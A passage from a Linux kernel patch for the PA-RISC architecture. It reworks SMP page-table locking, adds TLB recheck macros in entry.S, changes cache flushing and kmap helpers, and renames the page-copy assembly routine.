-		new = pte_val(pte_wrprotect(__pte (old)));
-	} while (cmpxchg((unsigned long *) ptep, old, new) != old);
-#else
-	pte_t old_pte = *ptep;
-	set_pte_at(mm, addr, ptep, pte_wrprotect(old_pte));
-#endif
+	pte_t old_pte;
+	unsigned long flags;
+
+	spin_lock_irqsave(&pa_pte_lock, flags);
+	old_pte = *ptep;
+	*ptep = pte_wrprotect(old_pte);
+	__flush_tlb_page(mm, addr);
+	flush_cache_page(vma, addr, pte_pfn(old_pte));
+	spin_unlock_irqrestore(&pa_pte_lock, flags);
 }
 
-#define pte_same(A,B)	(pte_val(A) == pte_val(B))
-
 #endif /* !__ASSEMBLY__ */
 
 
@@ -504,6 +540,7 @@ static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned long addr,
 
 #define HAVE_ARCH_UNMAPPED_AREA
 
+#define __HAVE_ARCH_PTEP_SET_ACCESS_FLAGS
 #define __HAVE_ARCH_PTEP_TEST_AND_CLEAR_YOUNG
 #define __HAVE_ARCH_PTEP_GET_AND_CLEAR
 #define __HAVE_ARCH_PTEP_SET_WRPROTECT
diff --git a/arch/parisc/include/asm/system.h b/arch/parisc/include/asm/system.h
index d91357b..4653c77 100644
--- a/arch/parisc/include/asm/system.h
+++ b/arch/parisc/include/asm/system.h
@@ -160,7 +160,7 @@ static inline void set_eiem(unsigned long val)
    ldcd). */
 
 #define __PA_LDCW_ALIGNMENT	4
-#define __ldcw_align(a) ((volatile unsigned int *)a)
+#define __ldcw_align(a) (&(a)->slock)
 #define __LDCW	"ldcw,co"
 
 #endif /*!CONFIG_PA20*/
diff --git a/arch/parisc/kernel/asm-offsets.c b/arch/parisc/kernel/asm-offsets.c
index ec787b4..b2f35b2 100644
--- a/arch/parisc/kernel/asm-offsets.c
+++ b/arch/parisc/kernel/asm-offsets.c
@@ -137,6 +137,7 @@ int main(void)
 	DEFINE(TASK_PT_IAOQ0, offsetof(struct task_struct, thread.regs.iaoq[0]));
 	DEFINE(TASK_PT_IAOQ1, offsetof(struct task_struct, thread.regs.iaoq[1]));
 	DEFINE(TASK_PT_CR27, offsetof(struct task_struct, thread.regs.cr27));
+	DEFINE(TASK_PT_SYSCALL_RP, offsetof(struct task_struct, thread.regs.pad0));
 	DEFINE(TASK_PT_ORIG_R28, offsetof(struct task_struct, thread.regs.orig_r28));
 	DEFINE(TASK_PT_KSP, offsetof(struct task_struct, thread.regs.ksp));
 	DEFINE(TASK_PT_KPC, offsetof(struct task_struct, thread.regs.kpc));
@@ -225,6 +226,7 @@ int main(void)
 	DEFINE(PT_IAOQ0, offsetof(struct pt_regs, iaoq[0]));
 	DEFINE(PT_IAOQ1, offsetof(struct pt_regs, iaoq[1]));
 	DEFINE(PT_CR27, offsetof(struct pt_regs, cr27));
+	DEFINE(PT_SYSCALL_RP, offsetof(struct pt_regs, pad0));
 	DEFINE(PT_ORIG_R28, offsetof(struct pt_regs, orig_r28));
 	DEFINE(PT_KSP, offsetof(struct pt_regs, ksp));
 	DEFINE(PT_KPC, offsetof(struct pt_regs, kpc));
@@ -290,5 +292,11 @@ int main(void)
 	BLANK();
 	DEFINE(ASM_PDC_RESULT_SIZE, NUM_PDC_RESULT * sizeof(unsigned long));
 	BLANK();
+
+#ifdef CONFIG_SMP
+	DEFINE(ASM_ATOMIC_HASH_SIZE_SHIFT, __builtin_ffs(ATOMIC_HASH_SIZE)-1);
+	DEFINE(ASM_ATOMIC_HASH_ENTRY_SHIFT, __builtin_ffs(sizeof(__atomic_hash[0]))-1);
+#endif
+
 	return 0;
 }
diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index b6ed34d..7952ae4 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -336,9 +336,9 @@ __flush_cache_page(struct vm_area_struct *vma, unsigned long vmaddr)
 	}
 }
 
-void flush_dcache_page(struct page *page)
+static void flush_user_dcache_page_internal(struct address_space *mapping,
+					    struct page *page)
 {
-	struct address_space *mapping = page_mapping(page);
 	struct vm_area_struct *mpnt;
 	struct prio_tree_iter iter;
 	unsigned long offset;
@@ -346,14 +346,6 @@ void flush_dcache_page(struct page *page)
 	pgoff_t pgoff;
 	unsigned long pfn = page_to_pfn(page);
 
-
-	if (mapping && !mapping_mapped(mapping)) {
-		set_bit(PG_dcache_dirty, &page->flags);
-		return;
-	}
-
-	flush_kernel_dcache_page(page);
-
 	if (!mapping)
 		return;
 
@@ -387,6 +379,19 @@ void flush_dcache_page(struct page *page)
 	}
 	flush_dcache_mmap_unlock(mapping);
 }
+
+void flush_dcache_page(struct page *page)
+{
+	struct address_space *mapping = page_mapping(page);
+
+	if (mapping && !mapping_mapped(mapping)) {
+		set_bit(PG_dcache_dirty, &page->flags);
+		return;
+	}
+
+	flush_kernel_dcache_page(page);
+	flush_user_dcache_page_internal(mapping, page);
+}
 EXPORT_SYMBOL(flush_dcache_page);
 
 /* Defined in arch/parisc/kernel/pacache.S */
@@ -395,17 +400,6 @@ EXPORT_SYMBOL(flush_kernel_dcache_page_asm);
 EXPORT_SYMBOL(flush_data_cache_local);
 EXPORT_SYMBOL(flush_kernel_icache_range_asm);
 
-void clear_user_page_asm(void *page, unsigned long vaddr)
-{
-	unsigned long flags;
-	/* This function is implemented in assembly in pacache.S */
-	extern void __clear_user_page_asm(void *page, unsigned long vaddr);
-
-	purge_tlb_start(flags);
-	__clear_user_page_asm(page, vaddr);
-	purge_tlb_end(flags);
-}
-
 #define FLUSH_THRESHOLD 0x80000 /* 0.5MB */
 int parisc_cache_flush_threshold __read_mostly = FLUSH_THRESHOLD;
 
@@ -440,17 +434,26 @@ void __init parisc_setup_cache_timing(void)
 }
 
 extern void purge_kernel_dcache_page(unsigned long);
-extern void clear_user_page_asm(void *page, unsigned long vaddr);
 
 void clear_user_page(void *page, unsigned long vaddr, struct page *pg)
 {
+#if 1
+	/* Clear user page using alias region.  */
+#if 0
 	unsigned long flags;
 
 	purge_kernel_dcache_page((unsigned long)page);
 	purge_tlb_start(flags);
 	pdtlb_kernel(page);
 	purge_tlb_end(flags);
+#endif
+
 	clear_user_page_asm(page, vaddr);
+#else
+	/* Clear user page using kernel mapping.  */
+	clear_page_asm(page);
+	flush_kernel_dcache_page_asm(page);
+#endif
 }
 EXPORT_SYMBOL(clear_user_page);
 
@@ -469,22 +472,15 @@ void copy_user_page(void *vto, void *vfrom, unsigned long vaddr,
 		    struct page *pg)
 {
 	/* no coherency needed (all in kmap/kunmap) */
-	copy_user_page_asm(vto, vfrom);
-	if (!parisc_requires_coherency())
-		flush_kernel_dcache_page_asm(vto);
+#if 0
+	copy_user_page_asm(vto, vfrom, vaddr);
+#else
+	copy_page_asm(vto, vfrom);
+	flush_kernel_dcache_page_asm(vto);
+#endif
 }
 EXPORT_SYMBOL(copy_user_page);
 
-#ifdef CONFIG_PA8X00
-
-void kunmap_parisc(void *addr)
-{
-	if (parisc_requires_coherency())
-		flush_kernel_dcache_page_addr(addr);
-}
-EXPORT_SYMBOL(kunmap_parisc);
-#endif
-
 void __flush_tlb_range(unsigned long sid, unsigned long start,
 		       unsigned long end)
 {
@@ -577,3 +573,25 @@ flush_cache_page(struct vm_area_struct *vma, unsigned long vmaddr, unsigned long
 		__flush_cache_page(vma, vmaddr);
 
 }
+
+void *kmap_parisc(struct page *page)
+{
+	/* this is a killer.  There's no easy way to test quickly if
+	 * this page is dirty in any userspace.  Additionally, for
+	 * kernel alterations of the page, we'd need it invalidated
+	 * here anyway, so currently flush (and invalidate)
+	 * universally */
+	flush_user_dcache_page_internal(page_mapping(page), page);
+	return page_address(page);
+}
+EXPORT_SYMBOL(kmap_parisc);
+
+void kunmap_parisc(void *addr)
+{
+	/* flush and invalidate the kernel mapping.  We need the
+	 * invalidate so we don't have stale data at this cache
+	 * location the next time the page is mapped */
+	flush_kernel_dcache_page_addr(addr);
+}
+EXPORT_SYMBOL(kunmap_parisc);
+
diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
index 3a44f7f..42dbf32 100644
--- a/arch/parisc/kernel/entry.S
+++ b/arch/parisc/kernel/entry.S
@@ -45,7 +45,7 @@
 	.level 2.0
 #endif
 
-	.import         pa_dbit_lock,data
+	.import         pa_pte_lock,data
 
 	/* space_to_prot macro creates a prot id from a space id */
 
@@ -364,32 +364,6 @@
 	.align		32
 	.endm
 
-	/* The following are simple 32 vs 64 bit instruction
-	 * abstractions for the macros */
-	.macro		EXTR	reg1,start,length,reg2
-#ifdef CONFIG_64BIT
-	extrd,u		\reg1,32+(\start),\length,\reg2
-#else
-	extrw,u		\reg1,\start,\length,\reg2
-#endif
-	.endm
-
-	.macro		DEP	reg1,start,length,reg2
-#ifdef CONFIG_64BIT
-	depd		\reg1,32+(\start),\length,\reg2
-#else
-	depw		\reg1,\start,\length,\reg2
-#endif
-	.endm
-
-	.macro		DEPI	val,start,length,reg
-#ifdef CONFIG_64BIT
-	depdi		\val,32+(\start),\length,\reg
-#else
-	depwi		\val,\start,\length,\reg
-#endif
-	.endm
-
 	/* In LP64, the space contains part of the upper 32 bits of the
 	 * fault.  We have to extract this and place it in the va,
 	 * zeroing the corresponding bits in the space register */
@@ -442,19 +416,19 @@
 	 */
 	.macro		L2_ptep	pmd,pte,index,va,fault
 #if PT_NLEVELS == 3
-	EXTR		\va,31-ASM_PMD_SHIFT,ASM_BITS_PER_PMD,\index
+	extru		\va,31-ASM_PMD_SHIFT,ASM_BITS_PER_PMD,\index
 #else
-	EXTR		\va,31-ASM_PGDIR_SHIFT,ASM_BITS_PER_PGD,\index
+	extru		\va,31-ASM_PGDIR_SHIFT,ASM_BITS_PER_PGD,\index
 #endif
-	DEP             %r0,31,PAGE_SHIFT,\pmd  /* clear offset */
+	dep             %r0,31,PAGE_SHIFT,\pmd  /* clear offset */
 	copy		%r0,\pte
 	ldw,s		\index(\pmd),\pmd
 	bb,>=,n		\pmd,_PxD_PRESENT_BIT,\fault
-	DEP		%r0,31,PxD_FLAG_SHIFT,\pmd /* clear flags */
+	dep		%r0,31,PxD_FLAG_SHIFT,\pmd /* clear flags */
 	copy		\pmd,%r9
 	SHLREG		%r9,PxD_VALUE_SHIFT,\pmd
-	EXTR		\va,31-PAGE_SHIFT,ASM_BITS_PER_PTE,\index
-	DEP		%r0,31,PAGE_SHIFT,\pmd  /* clear offset */
+	extru		\va,31-PAGE_SHIFT,ASM_BITS_PER_PTE,\index
+	dep		%r0,31,PAGE_SHIFT,\pmd  /* clear offset */
 	shladd		\index,BITS_PER_PTE_ENTRY,\pmd,\pmd
 	LDREG		%r0(\pmd),\pte		/* pmd is now pte */
 	bb,>=,n		\pte,_PAGE_PRESENT_BIT,\fault
@@ -488,13 +462,46 @@
 	L2_ptep		\pgd,\pte,\index,\va,\fault
 	.endm
 
+	/* SMP lock for consistent PTE updates.  Unlocks and jumps
+	   to FAULT if the page is not present.  Note the preceeding
+	   load of the PTE can't be deleted since we can't fault holding
+	   the lock.  */ 
+	.macro		pte_lock	ptep,pte,spc,tmp,tmp1,fault
+#ifdef CONFIG_SMP
+	cmpib,COND(=),n        0,\spc,2f
+	load32		PA(pa_pte_lock),\tmp1
+1:
+	LDCW		0(\tmp1),\tmp
+	cmpib,COND(=)         0,\tmp,1b
+	nop
+	LDREG		%r0(\ptep),\pte
+	bb,<,n		\pte,_PAGE_PRESENT_BIT,2f
+	ldi             1,\tmp
+	stw             \tmp,0(\tmp1)
+	b,n		\fault
+2:
+#endif
+	.endm
+
+	.macro		pte_unlock	spc,tmp,tmp1
+#ifdef CONFIG_SMP
+	cmpib,COND(=),n        0,\spc,1f
+	ldi             1,\tmp
+	stw             \tmp,0(\tmp1)
+1:
+#endif
+	.endm
+
 	/* Set the _PAGE_ACCESSED bit of the PTE.  Be clever and
 	 * don't needlessly dirty the cache line if it was already set */
-	.macro		update_ptep	ptep,pte,tmp,tmp1
-	ldi		_PAGE_ACCESSED,\tmp1
-	or		\tmp1,\pte,\tmp
-	and,COND(<>)	\tmp1,\pte,%r0
-	STREG		\tmp,0(\ptep)
+	.macro		update_ptep	ptep,pte,spc,tmp,tmp1,fault
+	bb,<,n		\pte,_PAGE_ACCESSED_BIT,3f
+	pte_lock	\ptep,\pte,\spc,\tmp,\tmp1,\fault
+	ldi		_PAGE_ACCESSED,\tmp
+	or		\tmp,\pte,\pte
+	STREG		\pte,0(\ptep)
+	pte_unlock	\spc,\tmp,\tmp1
+3:
 	.endm
 
 	/* Set the dirty bit (and accessed bit).  No need to be
@@ -605,7 +612,7 @@
 	depdi		0,31,32,\tmp
 #endif
 	copy		\va,\tmp1
-	DEPI		0,31,23,\tmp1
+	depi		0,31,23,\tmp1
 	cmpb,COND(<>),n	\tmp,\tmp1,\fault
 	ldi		(_PAGE_DIRTY|_PAGE_WRITE|_PAGE_READ),\prot
 	depd,z		\prot,8,7,\prot
@@ -622,6 +629,39 @@
 	or		%r26,%r0,\pte
 	.endm 
 
+	/* Save PTE for recheck if SMP.  */
+	.macro		save_pte	pte,tmp
+#ifdef CONFIG_SMP
+	copy		\pte,\tmp
+#endif
+	.endm
+
+	/* Reload the PTE and purge the data TLB entry if the new
+	   value is different from the old one.  */
+	.macro		dtlb_recheck	ptep,old_pte,spc,va,tmp
+#ifdef CONFIG_SMP
+	LDREG		%r0(\ptep),\tmp
+	cmpb,COND(=),n	\old_pte,\tmp,1f
+	mfsp		%sr1,\tmp
+	mtsp		\spc,%sr1
+	pdtlb,l		%r0(%sr1,\va)
+	mtsp		\tmp,%sr1
+1:
+#endif
+	.endm
+
+	.macro		itlb_recheck	ptep,old_pte,spc,va,tmp
+#ifdef CONFIG_SMP
+	LDREG		%r0(\ptep),\tmp
+	cmpb,COND(=),n	\old_pte,\tmp,1f
+	mfsp		%sr1,\tmp
+	mtsp		\spc,%sr1
+	pitlb,l		%r0(%sr1,\va)
+	mtsp		\tmp,%sr1
+1:
+#endif
+	.endm
+
 
 	/*
 	 * Align fault_vector_20 on 4K boundary so that both
@@ -758,6 +798,10 @@ ENTRY(__kernel_thread)
 
 	STREG	%r22, PT_GR22(%r1)	/* save r22 (arg5) */
 	copy	%r0, %r22		/* user_tid */
+	copy	%r0, %r21		/* child_tid */
+#else
+	stw	%r0, -52(%r30)	     	/* user_tid */
+	stw	%r0, -56(%r30)	     	/* child_tid */
 #endif
 	STREG	%r26, PT_GR26(%r1)  /* Store function & argument for child */
 	STREG	%r25, PT_GR25(%r1)
@@ -765,7 +809,7 @@ ENTRY(__kernel_thread)
 	ldo	CLONE_VM(%r26), %r26   /* Force CLONE_VM since only init_mm */
 	or	%r26, %r24, %r26      /* will have kernel mappings.	 */
 	ldi	1, %r25			/* stack_start, signals kernel thread */
-	stw	%r0, -52(%r30)	     	/* user_tid */
+	ldi	0, %r23			/* child_stack_size */
 #ifdef CONFIG_64BIT
 	ldo	-16(%r30),%r29		/* Reference param save area */
 #endif
@@ -972,7 +1016,10 @@ intr_check_sig:
 	BL	do_notify_resume,%r2
 	copy	%r16, %r26			/* struct pt_regs *regs */
 
-	b,n	intr_check_sig
+	mfctl   %cr30,%r16		/* Reload */
+	LDREG	TI_TASK(%r16), %r16	/* thread_info -> task_struct */
+	b	intr_check_sig
+	ldo	TASK_REGS(%r16),%r16
 
 intr_restore:
 	copy            %r16,%r29
@@ -997,13 +1044,6 @@ intr_restore:
 
 	rfi
 	nop
-	nop
-	nop
-	nop
-	nop
-	nop
-	nop
-	nop
 
 #ifndef CONFIG_PREEMPT
 # define intr_do_preempt	intr_restore
@@ -1026,14 +1066,12 @@ intr_do_resched:
 	ldo	-16(%r30),%r29		/* Reference param save area */
 #endif
 
-	ldil	L%intr_check_sig, %r2
-#ifndef CONFIG_64BIT
-	b	schedule
-#else
-	load32	schedule, %r20
-	bv	%r0(%r20)
-#endif
-	ldo	R%intr_check_sig(%r2), %r2
+	BL	schedule,%r2
+	nop
+	mfctl   %cr30,%r16		/* Reload */
+	LDREG	TI_TASK(%r16), %r16	/* thread_info -> task_struct */
+	b	intr_check_sig
+	ldo	TASK_REGS(%r16),%r16
 
 	/* preempt the current task on returning to kernel
 	 * mode from an interrupt, iff need_resched is set,
@@ -1214,11 +1252,12 @@ dtlb_miss_20w:
 
 	L3_ptep		ptp,pte,t0,va,dtlb_check_alias_20w
 
-	update_ptep	ptp,pte,t0,t1
+	update_ptep	ptp,pte,spc,t0,t1,dtlb_check_alias_20w
 
+	save_pte	pte,t1
 	make_insert_tlb	spc,pte,prot
-	
 	idtlbt          pte,prot
+	dtlb_recheck	ptp,t1,spc,va,t0
 
 	rfir
 	nop
@@ -1238,11 +1277,10 @@ nadtlb_miss_20w:
 
 	L3_ptep		ptp,pte,t0,va,nadtlb_check_flush_20w
 
-	update_ptep	ptp,pte,t0,t1
-
+	save_pte	pte,t1
 	make_insert_tlb	spc,pte,prot
-
 	idtlbt          pte,prot
+	dtlb_recheck	ptp,t1,spc,va,t0
 
 	rfir
 	nop
@@ -1272,8 +1310,9 @@ dtlb_miss_11:
 
 	L2_ptep		ptp,pte,t0,va,dtlb_check_alias_11
 
-	update_ptep	ptp,pte,t0,t1
+	update_ptep	ptp,pte,spc,t0,t1,dtlb_check_alias_11
 
+	save_pte	pte,t1
 	make_insert_tlb_11	spc,pte,prot
 
 	mfsp		%sr1,t0  /* Save sr1 so we can use it in tlb inserts */
@@ -1283,6 +1322,7 @@ dtlb_miss_11:
 	idtlbp		prot,(%sr1,va)
 
 	mtsp		t0, %sr1	/* Restore sr1 */
+	dtlb_recheck	ptp,t1,spc,va,t0
 
 	rfir
 	nop
@@ -1321,11 +1361,9 @@ nadtlb_miss_11:
 
 	L2_ptep		ptp,pte,t0,va,nadtlb_check_flush_11
 
-	update_ptep	ptp,pte,t0,t1
-
+	save_pte	pte,t1
 	make_insert_tlb_11	spc,pte,prot
 
-
 	mfsp		%sr1,t0  /* Save sr1 so we can use it in tlb inserts */
 	mtsp		spc,%sr1
 
@@ -1333,6 +1371,7 @@ nadtlb_miss_11:
 	idtlbp		prot,(%sr1,va)
 
 	mtsp		t0, %sr1	/* Restore sr1 */
+	dtlb_recheck	ptp,t1,spc,va,t0
 
 	rfir
 	nop
@@ -1368,13 +1407,15 @@ dtlb_miss_20:
 
 	L2_ptep		ptp,pte,t0,va,dtlb_check_alias_20
 
-	update_ptep	ptp,pte,t0,t1
+	update_ptep	ptp,pte,spc,t0,t1,dtlb_check_alias_20
 
+	save_pte	pte,t1
 	make_insert_tlb	spc,pte,prot
 
 	f_extend	pte,t0
 
 	idtlbt          pte,prot
+	dtlb_recheck	ptp,t1,spc,va,t0
 
 	rfir
 	nop
@@ -1394,13 +1435,13 @@ nadtlb_miss_20:
 
 	L2_ptep		ptp,pte,t0,va,nadtlb_check_flush_20
 
-	update_ptep	ptp,pte,t0,t1
-
+	save_pte	pte,t1
 	make_insert_tlb	spc,pte,prot
 
 	f_extend	pte,t0
 	
         idtlbt          pte,prot
+	dtlb_recheck	ptp,t1,spc,va,t0
 
 	rfir
 	nop
@@ -1508,11 +1549,12 @@ itlb_miss_20w:
 
 	L3_ptep		ptp,pte,t0,va,itlb_fault
 
-	update_ptep	ptp,pte,t0,t1
+	update_ptep	ptp,pte,spc,t0,t1,itlb_fault
 
+	save_pte	pte,t1
 	make_insert_tlb	spc,pte,prot
-	
 	iitlbt          pte,prot
+	itlb_recheck	ptp,t1,spc,va,t0
 
 	rfir
 	nop
@@ -1526,8 +1568,9 @@ itlb_miss_11:
 
 	L2_ptep		ptp,pte,t0,va,itlb_fault
 
-	update_ptep	ptp,pte,t0,t1
+	update_ptep	ptp,pte,spc,t0,t1,itlb_fault
 
+	save_pte	pte,t1
 	make_insert_tlb_11	spc,pte,prot
 
 	mfsp		%sr1,t0  /* Save sr1 so we can use it in tlb inserts */
@@ -1537,6 +1580,7 @@ itlb_miss_11:
 	iitlbp		prot,(%sr1,va)
 
 	mtsp		t0, %sr1	/* Restore sr1 */
+	itlb_recheck	ptp,t1,spc,va,t0
 
 	rfir
 	nop
@@ -1548,13 +1592,15 @@ itlb_miss_20:
 
 	L2_ptep		ptp,pte,t0,va,itlb_fault
 
-	update_ptep	ptp,pte,t0,t1
+	update_ptep	ptp,pte,spc,t0,t1,itlb_fault
 
+	save_pte	pte,t1
 	make_insert_tlb	spc,pte,prot
 
 	f_extend	pte,t0	
 
 	iitlbt          pte,prot
+	itlb_recheck	ptp,t1,spc,va,t0
 
 	rfir
 	nop
@@ -1570,29 +1616,14 @@ dbit_trap_20w:
 
 	L3_ptep		ptp,pte,t0,va,dbit_fault
 
-#ifdef CONFIG_SMP
-	cmpib,COND(=),n        0,spc,dbit_nolock_20w
-	load32		PA(pa_dbit_lock),t0
-
-dbit_spin_20w:
-	LDCW		0(t0),t1
-	cmpib,COND(=)         0,t1,dbit_spin_20w
-	nop
-
-dbit_nolock_20w:
-#endif
-	update_dirty	ptp,pte,t1
+	pte_lock	ptp,pte,spc,t0,t1,dbit_fault
+	update_dirty	ptp,pte,t0
+	pte_unlock	spc,t0,t1
 
+	save_pte	pte,t1
 	make_insert_tlb	spc,pte,prot
-		
 	idtlbt          pte,prot
-#ifdef CONFIG_SMP
-	cmpib,COND(=),n        0,spc,dbit_nounlock_20w
-	ldi             1,t1
-	stw             t1,0(t0)
-
-dbit_nounlock_20w:
-#endif
+	dtlb_recheck	ptp,t1,spc,va,t0
 
 	rfir
 	nop
@@ -1606,35 +1637,21 @@ dbit_trap_11:
 
 	L2_ptep		ptp,pte,t0,va,dbit_fault
 
-#ifdef CONFIG_SMP
-	cmpib,COND(=),n        0,spc,dbit_nolock_11
-	load32		PA(pa_dbit_lock),t0
-
-dbit_spin_11:
-	LDCW		0(t0),t1
-	cmpib,=         0,t1,dbit_spin_11
-	nop
-
-dbit_nolock_11:
-#endif
-	update_dirty	ptp,pte,t1
+	pte_lock	ptp,pte,spc,t0,t1,dbit_fault
+	update_dirty	ptp,pte,t0
+	pte_unlock	spc,t0,t1
 
+	save_pte	pte,t1
 	make_insert_tlb_11	spc,pte,prot
 
-	mfsp            %sr1,t1  /* Save sr1 so we can use it in tlb inserts */
+	mfsp            %sr1,t0  /* Save sr1 so we can use it in tlb inserts */
 	mtsp		spc,%sr1
 
 	idtlba		pte,(%sr1,va)
 	idtlbp		prot,(%sr1,va)
 
-	mtsp            t1, %sr1     /* Restore sr1 */
-#ifdef CONFIG_SMP
-	cmpib,COND(=),n        0,spc,dbit_nounlock_11
-	ldi             1,t1
-	stw             t1,0(t0)
-
-dbit_nounlock_11:
-#endif
+	mtsp            t0, %sr1     /* Restore sr1 */
+	dtlb_recheck	ptp,t1,spc,va,t0
 
 	rfir
 	nop
@@ -1646,32 +1663,17 @@ dbit_trap_20:
 
 	L2_ptep		ptp,pte,t0,va,dbit_fault
 
-#ifdef CONFIG_SMP
-	cmpib,COND(=),n        0,spc,dbit_nolock_20
-	load32		PA(pa_dbit_lock),t0
-
-dbit_spin_20:
-	LDCW		0(t0),t1
-	cmpib,=         0,t1,dbit_spin_20
-	nop
-
-dbit_nolock_20:
-#endif
-	update_dirty	ptp,pte,t1
+	pte_lock	ptp,pte,spc,t0,t1,dbit_fault
+	update_dirty	ptp,pte,t0
+	pte_unlock	spc,t0,t1
 
+	save_pte	pte,t1
 	make_insert_tlb	spc,pte,prot
 
-	f_extend	pte,t1
+	f_extend	pte,t0
 	
         idtlbt          pte,prot
-
-#ifdef CONFIG_SMP
-	cmpib,COND(=),n        0,spc,dbit_nounlock_20
-	ldi             1,t1
-	stw             t1,0(t0)
-
-dbit_nounlock_20:
-#endif
+	dtlb_recheck	ptp,t1,spc,va,t0
 
 	rfir
 	nop
@@ -1772,9 +1774,9 @@ ENTRY(sys_fork_wrapper)
 	ldo	-16(%r30),%r29		/* Reference param save area */
 #endif
 
-	/* These are call-clobbered registers and therefore
-	   also syscall-clobbered (we hope). */
-	STREG	%r2,PT_GR19(%r1)	/* save for child */
+	STREG	%r2,PT_SYSCALL_RP(%r1)
+
+	/* WARNING - Clobbers r21, userspace must save! */
 	STREG	%r30,PT_GR21(%r1)
 
 	LDREG	PT_GR30(%r1),%r25
@@ -1804,7 +1806,7 @@ ENTRY(child_return)
 	nop
 
 	LDREG	TI_TASK-THREAD_SZ_ALGN-FRAME_SIZE-FRAME_SIZE(%r30), %r1
-	LDREG	TASK_PT_GR19(%r1),%r2
+	LDREG	TASK_PT_SYSCALL_RP(%r1),%r2
 	b	wrapper_exit
 	copy	%r0,%r28
 ENDPROC(child_return)
@@ -1823,8 +1825,9 @@ ENTRY(sys_clone_wrapper)
 	ldo	-16(%r30),%r29		/* Reference param save area */
 #endif
 
-	/* WARNING - Clobbers r19 and r21, userspace must save these! */
-	STREG	%r2,PT_GR19(%r1)	/* save for child */
+	STREG	%r2,PT_SYSCALL_RP(%r1)
+
+	/* WARNING - Clobbers r21, userspace must save! */
 	STREG	%r30,PT_GR21(%r1)
 	BL	sys_clone,%r2
 	copy	%r1,%r24
@@ -1847,7 +1850,9 @@ ENTRY(sys_vfork_wrapper)
 	ldo	-16(%r30),%r29		/* Reference param save area */
 #endif
 
-	STREG	%r2,PT_GR19(%r1)	/* save for child */
+	STREG	%r2,PT_SYSCALL_RP(%r1)
+
+	/* WARNING - Clobbers r21, userspace must save! */
 	STREG	%r30,PT_GR21(%r1)
 
 	BL	sys_vfork,%r2
@@ -2076,9 +2081,10 @@ syscall_restore:
 	LDREG	TASK_PT_GR31(%r1),%r31	   /* restore syscall rp */
 
 	/* NOTE: We use rsm/ssm pair to make this operation atomic */
+	LDREG   TASK_PT_GR30(%r1),%r1              /* Get user sp */
 	rsm     PSW_SM_I, %r0
-	LDREG   TASK_PT_GR30(%r1),%r30             /* restore user sp */
-	mfsp	%sr3,%r1			   /* Get users space id */
+	copy    %r1,%r30                           /* Restore user sp */
+	mfsp    %sr3,%r1                           /* Get user space id */
 	mtsp    %r1,%sr7                           /* Restore sr7 */
 	ssm     PSW_SM_I, %r0
 
diff --git a/arch/parisc/kernel/pacache.S b/arch/parisc/kernel/pacache.S
index 09b77b2..b2f0d3d 100644
--- a/arch/parisc/kernel/pacache.S
+++ b/arch/parisc/kernel/pacache.S
@@ -277,7 +277,7 @@ ENDPROC(flush_data_cache_local)
 
 	.align	16
 
-ENTRY(copy_user_page_asm)
+ENTRY(copy_page_asm)
 	.proc
 	.callinfo NO_CALLS
 	.entry
@@ -288,54 +288,54 @@ ENTRY(copy_user_page_asm)
 	 * GCC probably can do this just as well.
 	 */
 
-	ldd		0(%r25), %r19
+	ldd		0(%r25), %r20
 	ldi		(PAGE_SIZE / 128), %r1
 
 	ldw		64(%r25), %r0		/* prefetch 1 cacheline ahead */
 	ldw		128(%r25), %r0		/* prefetch 2 */
 
-1:	ldd		8(%r25), %r20
+1:	ldd		8(%r25), %r21
 	ldw		192(%r25), %r0		/* prefetch 3 */
 	ldw		256(%r25), %r0		/* prefetch 4 */
 
-	ldd		16(%r25), %r21
-	ldd		24(%r25), %r22
-	std		%r19, 0(%r26)
-	std		%r20, 8(%r26)
-
-	ldd		32(%r25), %r19
-	ldd		40(%r25), %r20
-	std		%r21, 16(%r26)
-	std		%r22, 24(%r26)
-
-	ldd		48(%r25), %r21
-	ldd		56(%r25), %r22
-	std		%r19, 32(%r26)
-	std		%r20, 40(%r26)
-
-	ldd		64(%r25), %r19
-	ldd		72(%r25), %r20
-	std		%r21, 48(%r26)
-	std		%r22, 56(%r26)
-
-	ldd		80(%r25), %r21
-	ldd		88(%r25), %r22
-	std		%r19, 64(%r26)
-	std		%r20, 72(%r26)
-
-	ldd		 96(%r25), %r19
-	ldd		104(%r25), %r20
-	std		%r21, 80(%r26)
-	std		%r22, 88(%r26)
-
-	ldd		112(%r25), %r21
-	ldd		120(%r25), %r22
-	std		%r19, 96(%r26)
-	std		%r20, 104(%r26)
+	ldd		16(%r25), %r22
+	ldd		24(%r25), %r24
+	std		%r20, 0(%r26)
+	std		%r21, 8(%r26)
+
+	ldd		32(%r25), %r20
+	ldd		40(%r25), %r21
+	std		%r22, 16(%r26)
+	std		%r24, 24(%r26)
+
+	ldd		48(%r25), %r22
+	ldd		56(%r25), %r24
+	std		%r20, 32(%r26)
+	std		%r21, 40(%r26)
+
+	ldd		64(%r25), %r20
+	ldd		72(%r25), %r21
+	std		%r22, 48(%r26)
+	std		%r24, 56(%r26)
+
+	ldd		80(%r25), %r22
+	ldd		88(%r25), %r24
+	std		%r20, 64(%r26)
+	std		%r21, 72(%r26)
+
+	ldd		96(%r25), %r20
+	ldd		104(%r25), %r21
+	std		%r22, 80(%r26)
+	std		%r24, 88(%r26)
+
+	ldd		112(%r25), %r22
+	ldd		120(%r25), %r24
+	std		%r20, 96(%r26)
+	std		%r21, 104(%r26)
 
 	ldo		128(%r25), %r25
-	std		%r21, 112(%r26)
-	std		%r22, 120(%r26)
+	std		%r22, 112(%r26)
+	std		%r24, 120(%r26)
 	ldo		128(%r26), %r26
 
 	/* conditional branches nullify on forward taken branch, and on
@@ -343,7 +343,7 @@ ENTRY(copy_user_page_asm)
 	 * The ldd should only get executed if the branch is taken.
 	 */
 	addib,COND(>),n	-1, %r1, 1b		/* bundle 10 */
-	ldd		0(%r25), %r19		/* start next loads */
+	ldd		0(%r25), %r20		/* start next loads */
 
 #else
 
@@ -354,52 +354,116 @@ ENTRY(copy_user_page_asm)
 	 * the full 64 bit register values on interrupt, we can't
 	 * use ldd/std on a 32 bit kernel.
 	 */
-	ldw		0(%r25), %r19
+	ldw		0(%r25), %r20
 	ldi		(PAGE_SIZE / 64), %r1
 
 1:
-	ldw		4(%r25), %r20
-	ldw		8(%r25), %r21
-	ldw		12(%r25), %r22
-	stw		%r19, 0(%r26)
-	stw		%r20, 4(%r26)
-	stw		%r21, 8(%r26)
